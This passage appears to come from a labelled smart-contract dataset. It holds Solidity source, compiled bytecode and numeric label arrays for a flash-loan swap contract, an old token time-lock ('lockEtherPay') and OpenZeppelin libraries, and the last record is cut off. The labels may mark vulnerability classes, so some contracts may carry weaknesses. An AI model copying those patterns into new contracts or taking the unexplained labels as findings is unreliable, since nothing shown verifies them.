swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x6080604052600436106100c65760003560e01c8063a1db97821161007f578063f2fde38b11610059578063f2fde38b14610292578063f59c4ee6146102b2578063f63397c9146102d2578063ff414b641461030657600080fd5b8063a1db978214610216578063b4dcfc7714610236578063ba8bca5a1461026a57600080fd5b80630542975c1461010a5780636146a6ac1461015b578063715018a6146101895780638da5cb5b146101a0578063920f5c84146101be578063a155c766146101ee57600080fd5b3661010557604080513381523460208201527f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f88525874910160405180910390a1005b600080fd5b34801561011657600080fd5b5061013e7f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c581565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561016757600080fd5b5061017b6101763660046117d6565b610326565b604051908152602001610152565b34801561019557600080fd5b5061019e61044a565b005b3480156101ac57600080fd5b506000546001600160a01b031661013e565b3480156101ca57600080fd5b506101de6101d93660046118d6565b610480565b6040519015158152602001610152565b3480156101fa57600080fd5b5061013e73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f81565b34801561022257600080fd5b506101de610231366004611bc2565b6106f1565b34801561024257600080fd5b5061013e7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a981565b34801561027657600080fd5b5061013e737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561029e57600080fd5b5061019e6102ad3660046117ba565b6107a6565b3480156102be57600080fd5b5061017b6102cd36600461185a565b610841565b3480156102de57600080fd5b5061013e7f0000000000000000000000002d319296e95d88f9ddae6b4b729f0a37481d7bc581565b34801561031257600080fd5b5061017b6103213660046117ba565b610c02565b6000336001600160a01b037f0000000000000000000000002d319296e95d88f9ddae6b4b729f0a37481d7bc516146103795760405162461bcd60e51b815260040161037090611d50565b60405180910390fd5b61038e6001600160a01b03891685308a610c82565b60008061039d8a8a8787610cf3565b915091508181116103df57886103b38284611f5f565b6103bd908b611f5f565b604051635653c84160e01b815260048101929092526024820152604401610370565b60006103eb8383611f5f565b9050610401896103fb838d611f08565b8a61102f565b61041d5760405162461bcd60e51b815260040161037090611e1a565b61043c8761042b8c84611f08565b6001600160a01b038e16919061107a565b9a9950505050505050505050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161037090611de5565b61047e60006110af565b565b6000336001600160a01b037f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a916146104ca5760405162461bcd60e51b815260040161037090611d9d565b6001600160a01b03841630146104f25760405162461bcd60e51b815260040161037090611d9d565b60008061055d8c8c600081811061051957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061052e91906117ba565b8b8b600081811061054f57634e487b7160e01b600052603260045260246000fd5b905060200201358787610cf3565b915091508787600081811061058257634e487b7160e01b600052603260045260246000fd5b90506020020135826105949190611f08565b811161060057898960008181106105bb57634e487b7160e01b600052603260045260246000fd5b9050602002013581836105ce9190611f5f565b8b8b60008181106105ef57634e487b7160e01b600052603260045260246000fd5b905060200201356103bd9190611f5f565b60005b8b8110156106de576106cc7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a98a8a8481811061064f57634e487b7160e01b600052603260045260246000fd5b905060200201358d8d8581811061067657634e487b7160e01b600052603260045260246000fd5b905060200201356106879190611f08565b8f8f858181106106a757634e487b7160e01b600052603260045260246000fd5b90506020020160208101906106bc91906117ba565b6001600160a01b031691906110ff565b806106d681611fa2565b915050610603565b5060019c9b505050505050505050505050565b600080546001600160a01b0316331461071c5760405162461bcd60e51b815260040161037090611de5565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb90604401602060405180830381600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079c9190611ba2565b5060019392505050565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260040161037090611de5565b6001600160a01b0381166108355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610370565b61083e816110af565b50565b6000336001600160a01b037f0000000000000000000000002d319296e95d88f9ddae6b4b729f0a37481d7bc5161461088b5760405162461bcd60e51b815260040161037090611d50565b6040805160018082528183019092526000916020808301908036833701905050905087816000815181106108cf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039290921660209283029190910190910152604080516001808252818301909252600091816020016020820280368337019050509050878160008151811061092e57634e487b7160e01b600052603260045260246000fd5b602090810291909101015260408051600180825281830190925260009181602001602082028036833701905050905060008160008151811061098057634e487b7160e01b600052603260045260246000fd5b6020026020010181815250506000836000815181106109af57634e487b7160e01b600052603260045260246000fd5b60209081029190910101516040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156109fa57600080fd5b505afa158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611bed565b60405163ab9c4b5d60e01b81529091506001600160a01b037f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a9169063ab9c4b5d90610a8e90309088908890889084908e90600090600401611cbf565b600060405180830381600087803b158015610aa857600080fd5b505af1158015610abc573d6000803e3d6000fd5b50505050600084600081518110610ae357634e487b7160e01b600052603260045260246000fd5b60209081029190910101516040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b158015610b2e57600080fd5b505afa158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b669190611bed565b90506000610b748383611f5f565b90506000610b82828e611f08565b9050610b8f8c828d61102f565b610bab5760405162461bcd60e51b815260040161037090611e1a565b610bf18a8389600081518110610bd157634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031661107a9092919063ffffffff16565b509c9b505050505050505050505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b158015610c4457600080fd5b505afa158015610c58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7c9190611bed565b92915050565b6040516001600160a01b0380851660248301528316604482015260648101829052610ced9085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611223565b50505050565b6040516370a0823160e01b815230600482015260009081906001600160a01b038716906370a082319060240160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190611bed565b9150600080610d8085870187611a48565b604080518082019091526000808252602082015291935091506001908251845114610e085760405162461bcd60e51b815260206004820152603260248201527f617267756d656e7473206c656e677468206d75737420626520657175616c20746044820152710de40e6eec2e0a8f2e0cae640d8cadccee8d60731b6064820152608401610370565b60005b8451811015610fa857815160208301518415610e2b5750600093508b90508a5b6000868481518110610e4d57634e487b7160e01b600052603260045260246000fd5b60200260200101516001811115610e7457634e487b7160e01b600052602160045260246000fd5b1415610ee1576000878481518110610e9c57634e487b7160e01b600052603260045260246000fd5b6020026020010151806020019051810190610eb791906119ac565b9050610ed9737a250d5630b4cf539739df2c5dacb4c659f2488d8285856112f5565b945050610f93565b6001868481518110610f0357634e487b7160e01b600052603260045260246000fd5b60200260200101516001811115610f2a57634e487b7160e01b600052602160045260246000fd5b1415610f93576000878481518110610f5257634e487b7160e01b600052603260045260246000fd5b6020026020010151806020019051810190610f6d91906119ac565b9050610f8f73d9e1ce17f2641f24ae83637ab66a2cca9c378b9f8285856112f5565b9450505b50508080610fa090611fa2565b915050610e0b565b506040516370a0823160e01b81523060048201526001600160a01b038b16906370a082319060240160206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190611bed565b94505050505094509492505050565b60008383111561104157506001611073565b8261104c8186611f5f565b611057906064611f40565b6110619190611f20565b821061106f57506001611073565b5060005b9392505050565b6040516001600160a01b0383166024820152604481018290526110aa90849063a9059cbb60e01b90606401610cb6565b505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b8015806111885750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111869190611bed565b155b6111f35760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610370565b6040516001600160a01b0383166024820152604481018290526110aa90849063095ea7b360e01b90606401610cb6565b6000611278826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114d29092919063ffffffff16565b8051909150156110aa57808060200190518101906112969190611ba2565b6110aa5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610370565b6040805180820190915260008082526020820152826001600160a01b03168460008151811061133457634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161461139e5760405162461bcd60e51b815260206004820152602360248201527f6173736574206973206e6f7420657175616c20746f20706174685b305d2061736044820152621cd95d60ea1b6064820152608401610370565b6113b26001600160a01b03841686846110ff565b6040516338ed173960e01b81526000906001600160a01b038716906338ed1739906113e990869085908a9030904290600401611e77565b600060405180830381600087803b15801561140357600080fd5b505af1158015611417573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261143f9190810190611b1b565b90506040518060400160405280866001885161145b9190611f5f565b8151811061147957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03168152602001826001845161149e9190611f5f565b815181106114bc57634e487b7160e01b600052603260045260246000fd5b6020026020010151815250915050949350505050565b60606114e184846000856114e9565b949350505050565b60608247101561154a5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610370565b843b6115985760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610370565b600080866001600160a01b031685876040516115b49190611ca3565b60006040518083038185875af1925050503d80600081146115f1576040519150601f19603f3d011682016040523d82523d6000602084013e6115f6565b606091505b5091509150611606828286611611565b979650505050505050565b60608315611620575081611073565b8251156116305782518084602001fd5b8160405162461bcd60e51b81526004016103709190611d3d565b60008083601f84011261165b578182fd5b50813567ffffffffffffffff811115611672578182fd5b6020830191508360208260051b850101111561168d57600080fd5b9250929050565b600082601f8301126116a4578081fd5b813560206116b96116b483611ee4565b611eb3565b80838252828201915082860187848660051b89010111156116d8578586fd5b855b85811015611702578135600281106116f0578788fd5b845292840192908401906001016116da565b5090979650505050505050565b60008083601f840112611720578182fd5b50813567ffffffffffffffff811115611737578182fd5b60208301915083602082850101111561168d57600080fd5b600082601f83011261175f578081fd5b813567ffffffffffffffff81111561177957611779611fd3565b61178c601f8201601f1916602001611eb3565b8181528460208386010111156117a0578283fd5b816020850160208301379081016020019190915292915050565b6000602082840312156117cb578081fd5b813561107381611fe9565b600080600080600080600060c0888a0312156117f0578283fd5b87356117fb81611fe9565b9650602088013595506040880135945060608801359350608088013561182081611fe9565b925060a088013567ffffffffffffffff81111561183b578283fd5b6118478a828b0161170f565b989b979a50959850939692959293505050565b60008060008060008060c08789031215611872578182fd5b863561187d81611fe9565b955060208701359450604087013593506060870135925060808701356118a281611fe9565b915060a087013567ffffffffffffffff8111156118bd578182fd5b6118c989828a0161174f565b9150509295509295509295565b600080600080600080600080600060a08a8c0312156118f3578283fd5b893567ffffffffffffffff8082111561190a578485fd5b6119168d838e0161164a565b909b50995060208c013591508082111561192e578485fd5b61193a8d838e0161164a565b909950975060408c0135915080821115611952578485fd5b61195e8d838e0161164a565b909750955060608c0135915061197382611fe9565b90935060808b01359080821115611988578384fd5b506119958c828d0161170f565b915080935050809150509295985092959850929598565b600060208083850312156119be578182fd5b825167ffffffffffffffff8111156119d4578283fd5b8301601f810185136119e4578283fd5b80516119f26116b482611ee4565b80828252848201915084840188868560051b8701011115611a11578687fd5b8694505b83851015611a3c578051611a2881611fe9565b835260019490940193918501918501611a15565b50979650505050505050565b60008060408385031215611a5a578182fd5b823567ffffffffffffffff80821115611a71578384fd5b818501915085601f830112611a84578384fd5b81356020611a946116b483611ee4565b8083825282820191508286018a848660051b8901011115611ab3578889fd5b885b85811015611aec57813587811115611acb578a8bfd5b611ad98d87838c010161174f565b8552509284019290840190600101611ab5565b50909750505086013592505080821115611b04578283fd5b50611b1185828601611694565b9150509250929050565b60006020808385031215611b2d578182fd5b825167ffffffffffffffff811115611b43578283fd5b8301601f81018513611b53578283fd5b8051611b616116b482611ee4565b80828252848201915084840188868560051b8701011115611b80578687fd5b8694505b83851015611a3c578051835260019490940193918501918501611b84565b600060208284031215611bb3578081fd5b81518015158114611073578182fd5b60008060408385031215611bd4578182fd5b8235611bdf81611fe9565b946020939093013593505050565b600060208284031215611bfe578081fd5b5051919050565b6000815180845260208085019450808401835b83811015611c3d5781516001600160a01b031687529582019590820190600101611c18565b509495945050505050565b6000815180845260208085019450808401835b83811015611c3d57815187529582019590820190600101611c5b565b60008151808452611c8f816020860160208601611f76565b601f01601f19169290920160200192915050565b60008251611cb5818460208701611f76565b9190910192915050565b600060018060a01b03808a16835260e06020840152611ce160e084018a611c05565b8381036040850152611cf3818a611c48565b90508381036060850152611d078189611c48565b9050818716608085015283810360a0850152611d238187611c77565b9250505061ffff831660c083015298975050505050505050565b6020815260006110736020830184611c77565b6020808252602d908201527f4f6e6c7920736563757269747920636f6e74726163742063616e2063616c6c2060408201526c3a3434b990333ab731ba34b7b760991b606082015260800190565b60208082526028908201527f5468652063616c6c6572206d757374206265204c656e64696e6720506f6f6c2060408201526718dbdb9d1c9858dd60c21b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526039908201527f5472616e73616374696f6e2077696c6c206e6f7420737563636565642065697460408201527f6865722064756520746f207072696365206d6f76656d656e7400000000000000606082015260800190565b85815284602082015260a060408201526000611e9660a0830186611c05565b6001600160a01b0394909416606083015250608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715611edc57611edc611fd3565b604052919050565b600067ffffffffffffffff821115611efe57611efe611fd3565b5060051b60200190565b60008219821115611f1b57611f1b611fbd565b500190565b600082611f3b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f5a57611f5a611fbd565b500290565b600082821015611f7157611f71611fbd565b500390565b60005b83811015611f91578181015183820152602001611f79565b83811115610ced5750506000910152565b6000600019821415611fb657611fb6611fbd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461083e57600080fdfea2646970667358221220fa906431975959d078fe8d0fe2ff3ee641a03e15168301858225e4b342236ab464736f6c63430008040033
[ 16, 12 ]
0xf1d465a76c198748113c2669306fa6f17734e1ac
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29635200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x0D7EC6a6d9aC3970552e09Bcf95CAcf12f278C91; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820d7d5c4ea4c45ac38f3fefe4a9a58a02425394afe26fd9c8cdee2c123ce08235c0029
[ 16, 7 ]
0xF1D5FC94A3cA88644E0D05195fbb2db1E60B9e75
// File: contracts/core/interfaces/IERC20.sol pragma solidity ^0.8.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external pure returns (uint8); } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, 